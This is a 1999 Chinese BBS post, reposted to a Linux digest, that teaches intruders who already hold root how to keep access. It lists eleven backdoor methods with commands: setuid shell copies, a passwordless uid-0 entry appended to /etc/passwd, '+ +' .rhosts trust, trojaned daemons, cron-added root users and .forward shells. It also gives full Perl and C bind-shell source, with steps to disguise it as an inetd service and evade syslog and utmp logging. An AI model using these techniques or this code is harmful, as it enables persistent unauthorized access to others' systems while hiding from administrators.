Linux 版 (精华区)

发信人: Baggio (傻瓜牌生活), 信区: Linux
标  题: # 如何创建后门 #
发信站: 哈工大紫丁香 (Sat May  8 14:38:33 1999), 转信

发信人: zer9 (zer9), 信区: Hacker

标  题:  # 如何创建后门 #

发信站: 网易虚拟社区 (Mon May  3 16:45:47 1999), 站内信件

/////////////////////////////////////////////////

            # 如何创建后门 #

        how to creat the backdoor

                  by

         

                 zer9

                 ====

---

前言:

     本文之内容可以任意拷贝,传阅。在不违背作者原始

     意图的情况下也可任意修改,但请在修改后mail给作

     者一份。谢谢!

---

参考文献:

Article: backdoor from The Infinity Concept Issue II

Src:     b4b0.c  by b4b0

Src:     daemonsh.pl by van Hauser / [THC] in 1997'

--

千辛万苦(or 轻而易举)的取得root后,当然希望长久的保持.

以被以后用来。。。d0ing what u want t0 d0 :)

传统的方法就是建立一个后门(backd00r).即使入侵被发现,好

的(先进)后门仍然能够使你再次轻松的破门而入 -- 请记住:

     " we come back and we are the h.a.c.k.e.r "

--

创建后门的方法如下:

-

1. setuid

#cp /bin/sh /tmp/.backdoor

#chmod u+s /tmp/.backdoor

加上 suid 位到shell 上,最为简单方便,但也最为容易被ADM

发现  find / -perm 4000 -print;同时在大多数的SUNOS 上

你会发现不能setuid。-- 适用于新手;

-

2. echo "zer9::0:0::/:/bin/csh" >> /etc/passwd 

即给系统增加一个 id 为 0(root)的帐号,无口令;

也很容易被发现。 -- 适用于新手;

-

3.echo "+ zer9">>/.rhosts

即本地的名为 zer9 的用户可以直接 rlogin target 无须口令

此时的 zer9 就相当于口令,不知道的人是不能进去的.

前提是目标的port 512or513or514 opening.

注: 如 echo "+ +">>/.rhosts 则任何用户都可rlogin至目标

导致目标门户打开,最好不要; 

还可 echo "+ +">>/etc/hosts.equiv 但这样不能取得root权限;

    -- 适用于比新手高一点点,比中级水平低一点点的guys;

-

4.modify sendmail.cf  增加一个"wiz" 命令;

usage: 

telnet target 25 [enter]

wiz[enter]

这是我从SAFEsuite中学到的(但没试过);比较危险。因为几乎

所有的扫描器都会刺探本漏洞。不过你可把命令本身该成其他不易

猜到的名字。比较复杂,危险,但ADM不易发现,隐蔽性较强;

你只在你的机器上试一试就okay了;

    --  顾名思意,大师级漏洞;

-

5. crack suck as inetd,login,...

即安装它们的特络绎版本。你需要找到各版本unix的rootkit;

然后分别编译即可;-- 如果目标机上没有安装 tripwire之类

的东东,那几乎不可能被发现。linux&sunos&freebsd的可能

好找,但其他的了?即使你找到了,你有对应平台上的编译器

吗?我有一台运行 slackware,one running irix,one running

sunos,one running hpux,one running digits unix,...

hahhahha,我又做梦了:)

    -- 我个人认为是最好的方法,但实现起来有一定风险,

       你必须考虑到如果你的木马运行出错怎么办--因为

       我们所做的一切都必须以不破坏目标机上的任何数

       据为原则;

-

6.ping rem0te backd00r

即使是防火墙也很少阻止 ICMP 的通过,因此本后门可绕过

防火墙。具体的程序你可在 [THC] 的主页发现;

我想到了另外一种直接用ping命令实现的可通过防火墙的

方法 :

  一方在防火墙内,一方在防火墙外;除 ICMP 外;通向防火

  墙内的信息均被过滤掉 :(

  用 60k data 代表长,10k data 代表短;使用摩尔思编码;

  (或其他自定义编码)

  双方通过 ICMPinfo 接受信息(ping 's data length);

  “嘀,嘀,嘀嘀,嘀,嘀嘀嘀...""长江长江,我是黄河-

  -- 向我开炮!向我开炮”(^o^);

  以后有时间我会通过程序来实现验证可行性的。

  (技术上应该没有什么难度)

-

7.rem0te shell

我最喜欢的方式。而且由于绕开了login,故用 who 无法

看到--也就是说,避开了utmp&utmpx&wtmp&wtmpx;但没有

完全避开 syslogd.ADM仍可以在/var/log/messages中发现

你。不过,有一种方法可以彻底完全的旁路 syslogd!且听

下面一一道来.

bindshell的实现有两种:

 a. 

    替换掉 inetd.conf 中的不重要服务,如 rlogind :)

    在inetd 接受 connect 请求后,直接在本端口

    利用 system("/bin/csh -i");

    直接spam 出一个shell,

 b. 接受 connect 后,在高端spam出一个shell;

    (更安全 :)

下面我给出一个perl 实现(不需socket libary支持)

(pass on sunos5.5.1&slackware 2.0.33&irix6.4&hpux10.2)

和一个 gnuc 的实现(test on slackware 2.0.33&irix6.4)

---

 perl 版安装方法:

 ###无须编译!!只要目标机上有perl支持就okay!

 如何判断有无perl:   $/>perl [enter]

                      

                     [ctrl-c]

                     $/>

 -

 如果你对 /etc/inetd.conf 中的内容不是很熟的话,下面

 的方法有很大的危险性, exit(-1) please;

 -

 首先将源程序cut,存为你想要替换的daemon,如in.rexecd or

 or in.rlogind ,in.pop2d....最好是已经被ADM关掉了,而且

 不太引人注目的daemon,注意,一定要是 TCP types.然后

 mv /usr/sbin/in.rexecd /usr/sbin/in.rexecd.bak :))

 cp in.rexecd /usr/sbin/in.rexecd

 然后 ps -aux|grep inetd;kill -HUP id(by inetd);

 okay! 连 /etc/inetd.conf 都不要改。

 重申一点:不论在任何情况下,我们都要尽最大的可能保护数据!

 -

 Usage: nc target <ur changed daemon's port> (such as 512)

        [enter]

        ur passwd [enter]

        (then u login in...:)

         

----Cut Here------------------------------------------   

#!/usr/bin/perl

#

#         BEST

#        SIMPLE

#   rem0te bind shell 

#[perl version only tcp]

#         by

#     zer9[FTT]

#   zer9@21cn.com

#passed on allmost unix

#greet to:van Hauser/[THC]

# for his daemonshell.pl

#

$SHELL="/bin/csh -i";  

#d3f4ult p4sswd 1s "wh04r3u" (no quote);

$PASSWORD="BifqmATb6D5so";     



if ($PASSWORD) {

chop($pass=<STDIN>);

if (crypt($pass, $PASSWORD) ne $PASSWORD) {

exit 0;

}

        exec $SHELL ;

exit 0;

        }      

        

----Cut Here--------------------------------------------  

下面是一个for gnuc 的bindshell,first cut it,save as 

backdoor.c ,then cc backdoor.c -o backdoor

other action just l1ke before; 

Usage: (exp:binding to in.rlogind (513))

       nc target 513  //spam a shell on the high port;

       nc target 54321 

       ur passwd 

       (then u coming in...)

----Cut Here-------------------------------------

/*

 * [ b i n d - s h e l l ]                  

 *         by

 *       zer9[FTT]

 *    zer9@21cn.com                        

 *test on slackware 2.0.33&irix6.4(cc)

 *cc backdoor.c -o backdoor     

 *u c4n p01nt t0 wh1ch p0rt th3 sh3ll t0 sp4m   

 *c0mm4nd l1n3: backdoor [port]

 *d3fault p0rt 1s: 54321

 *greets to b4b0 for his b4b0.c

 *m4yb3 1 c0uld s4y:

 *"0k,b4b0.l1st3n c4r3fully;"

 *s0rry,just a joke.

 *

 */

 

#include <stdio.h>

#include <string.h>

#include <netinet/in.h>

#include <sys/types.h>

#include <unistd.h>

#include <arpa/inet.h>

#include <sys/socket.h>

#define  PassWord  "k1n90fth3w0rld" 

/* u c4n us3 crypt l1b4ry t0 sh4d0w 1t */

#define  DefaultPort  54321

/* d3f4ult b1nd1ng p0rt */

int main(int argc,char **argv)

{

 int s,in_s;

 struct sockaddr_in server,client;

 int client_len,bindport;

 char recvbuf[1000];

 if(argc!=2) bindport=DefaultPort;

  else 

   bindport=atoi(argv[1]);

 if((s=socket(AF_INET,SOCK_STREAM,0))<0)

 {

  perror("socket");

  return -1;

 }

 bzero((char *)&server,sizeof(server));

 bzero((char *)&client,sizeof(client));

 bzero(recvbuf,sizeof(recvbuf));

 server.sin_family=AF_INET;

 server.sin_port=htons(bindport);

 server.sin_addr.s_addr=INADDR_ANY;

 if(bind(s,(struct sockaddr *)&server,sizeof(server))<0)

 {

  perror("bind");

  return -1;

 }

 if(listen(s,3)!=0)

 {

  perror("listen");

  return -1;

 }

 client_len=sizeof(client);

 if((in_s=accept(s,(struct sockaddr *)&client,&client_len))<0)

  {

   perror("accept");

   return -1;

  }

  recv(in_s,recvbuf,sizeof(recvbuf),0);

  sleep(1);

  if((strlen(recvbuf)-1)==strlen(PassWord))

   if(!strncmp(recvbuf,PassWord,strlen(PassWord)))

   {

    send(in_s,"0k4y! c0m1ng 1n...\n",25,0);

    close(0);close(1);close(2);

    dup2(in_s,0);dup2(in_s,1);dup2(in_s,2);

    execl("/bin/csh","/bin/csh",(char *)0);

   }

 close(s);

 close(in_s);

 return 0;

}

 

----Cut Here-------------------------------------------------

用上面的方法都不能完全的避开syslogd,因为他们都是由

inetd 启动的,inetd启动它们的同时已经进行log 了;

旁路掉inetd就能完全避开syslog!

方法很简单,只要直接在命令行直接启动例程2(c)就可以了,

(1perl不行);不过这样很麻烦;一旦ADM关掉计算机就玩完了;

比较好的方法是在 /etc/rc.d/rc.local中加入:

backdoor &

但即使这样作了,每次用过后还要再起动一次;更好的方法

是写一个具有完全功能(后门功能^o^)的daemon,彻底的解决这个

问题;但这样做与hack inetd 那样更有效率(安全)了?

--

8.第八种武器就是 crontab

我只知道原理,没实践过.

每到一定时间就往 /etc/passwd 中加入一条uid为0(root)

的用户;时间一道就delete ,或创建suid's shell...

在序言中提到的文章中有详细介绍;

--

9.有没有想过只要向系统的一个用户发一个email,OS 就会spam

  出一个shell?利用用户的home目录下的 .forward 可作到这一点。

--

10。修改内核--超级高手的做法;2.2.0的解压文件达到了50几MB,

    看到就头痛。接着就 jmp ffff0 :) (不是看到内容,而是看到大小);

    [THC]最近出了篇文章关于这个的。你对自己有信心的话可以看看;

--

11.还有就是利用 overflow 程序,虽然我们一般是利用它取得root;

   但只要 ADM && u 没有 patch ,始终我们可以利用它的,与suid

   不同的是它不怕被 find / -perm 4000 发现;一般只有 tripwire

   可发现。

---------

我所知道的方法全部坦白完了,如果你知道更好更酷的(or 更差更复杂)

,请与我交流。谢谢!

---------

*ALERT*ALERT*ALERT*ALERT*ALERT*ALERT*ALERT*ALERT*ALERT*

最后警告:

          这篇文章的写作目的是为了更好的与你进行技术上的交流,

          而不是教唆或鼓励你进行破坏。对于任何人因为阅读本文

          而造成的不良后果,作者不承担任何法律责任。      

          

*ALERT*ALERT*ALERT*ALERT*ALERT*ALERT*ALERT*ALERT*ALERT*

_______________________________________________________

zer9[FTT]

zer9@21cn.com

=============

PGP Key ID:0x288B2835

PGP Key Fingerprint:7633 5DC1 C11C 9D7E 75D3 B95B 0613 8C39 288B 2835

to get my pgp public key at MIT's key server.

 

 

 

 

--

※ 来源:.网易虚拟社区 http://club.netease.com.[FROM: 202.103.10

5.31]--

※ 转寄:.网易 BBS bbs.netease.com.[FROM: 202.96.151.222]

.


--
☆ 来源:.哈工大紫丁香 bbs.hit.edu.cn.[FROM: bin@fengyun.hit.edu.]
[百宝箱] [返回首页] [上级目录] [根目录] [返回顶部] [刷新] [返回]
Powered by KBS BBS 2.0 (http://dev.kcn.cn)
页面执行时间:3.957毫秒